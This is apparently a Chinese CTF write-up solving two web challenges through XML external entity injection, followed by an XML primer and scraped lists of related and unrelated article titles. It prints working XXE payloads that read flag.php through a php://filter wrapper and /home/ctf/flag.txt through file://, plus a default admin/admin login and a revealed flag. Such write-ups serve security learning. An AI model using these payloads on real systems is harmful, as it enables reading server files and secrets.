CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml?
链接:http://112.74.37.15:8008/
hint:weak password (弱密码)
1、观察后下载图片拖进WINHEX发现提示:flag in flag.php , 进入112.74.37.15:8080/flag.php 发现啥也没有 需要拿下php文件好好看看
2、根据题目hint 尝试登陆 账号密码统一admin 提示登陆成功 bp发现为xxe (XML外部实体注入)

3、构造一下xxe 进行base64解密 得到flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]>
<user><username>&xxe;</username><password>admin</password></user>

解密结果如下:
<?php
$flag="flag{19d5c4d4d138d850a773bae8bfc978f0}";
?>
题目:Jarvis-api调用
链接:http://web.jarvisoj.com:9882/
hint:请设法获得目标机器/home/ctf/flag.txt中的flag值

1、查看源代码:
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
上bp发现这段代码也只是向后台发送数据包而已,回显的信息能看到是用python/2.7.6写的 其他没啥信息

猜测XXE 将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]>
<tq>&xxe;</tq>

附:
xml(extensible markup language)扩展标记语言。用来描述数据。xml中标记是自定义,它使用DTD或者schema来描述数据。
总结:xml用来组织,存储和发送信息的。
1、xml和html的区别:
xml 重点:描述和存放数据。
html 重点:如何把数据更好的现实在页面上。
2、xml的标记分类:
单标记<标记名称 />
双标记<标记名称>....</标记名称>
参考文章:
https://security.tencent.com/index.php/blog/msg/69
http://www.freebuf.com/articles/web/126788.html
CTF中关于XXE(XML外部实体注入)题目两道的更多相关文章
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- 微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护
XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml" ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
随机推荐
- 1119 机器人走方格 V2 (组合数学)
M * N的方格,一个机器人从左上走到右下,只能向右或向下走.有多少种不同的走法?由于方法数量可能很大,只需要输出Mod 10^9 + 7的结果. Input 第1行,2个数M,N,中间用空格隔开 ...
- ppk on javascript 笔记(六)--BOM
浏览器对象模型(Browser Object Model)是语言核心和DOM之间的一个过渡层,这个过渡层特指Javascript的客户端实现,它的主要任务是管理浏览器窗口并使得它们可以彼此通信.win ...
- classpath*与classpath
classpath*:的出现是为了从多个jar文件中加载相同的文件. classpath:只能加载找到的第一个文件.
- Java并发编程(您不知道的线程池操作), 最受欢迎的 8 位 Java 大师,Java并发包中的同步队列SynchronousQueue实现原理
Java_并发编程培训 java并发程序设计教程 JUC Exchanger 一.概述 Exchanger 可以在对中对元素进行配对和交换的线程的同步点.每个线程将条目上的某个方法呈现给 exchan ...
- Microsoft Ignite The Tour Beijing 记录: Learn Connect Explore
坦率的说,这是我第一次以讲师的身份参加微软的Ignite大会.同时我也很开心能作为微软社区MVP来参加这个活动.而我的演讲主题也和我的社区有关——Unity.C#以及跨平台开发. 这篇用来记录MSIg ...
- Servlet 常用类
Servlet 是一套标准的接口规范,当用户通过web请求来访问服务器时,由web容器根据配置调用我们实现的对应的servlet对象来提供服务.同时为了方便开发,servlet标准中也提供了许多常用的 ...
- C++虚继承初识
struct Employee { ... }; struct Manager : Employee { ... }; struct Worker : Employee { ... }; struct ...
- C语言中的优先级和类型转换分析
一.优先级 1.易错的优先级 二.类型转换 在C语言中,存在强制类型装换,也存在隐式类型转换,隐式类型转换实际上属于强制类型转换,隐式类型转换要点如图. (1)举例:算术运算式中,低类型转换为高类型 ...
- PyTorch深度学习:60分钟入门(Translation)
这是https://zhuanlan.zhihu.com/p/25572330的学习笔记. Tensors Tensors和numpy中的ndarrays较为相似, 因此Tensor也能够使用GPU来 ...
- PRML第一章读书小结
PRML第一章读书小结 第一章用例子出发,较为简单的引入了概率论.模型.决策.损失.信息论的问题,作为机器学习从业者,读PRML除了巩固已有基础,还受到了很多新的启发,下面将我收到的启发总结如 ...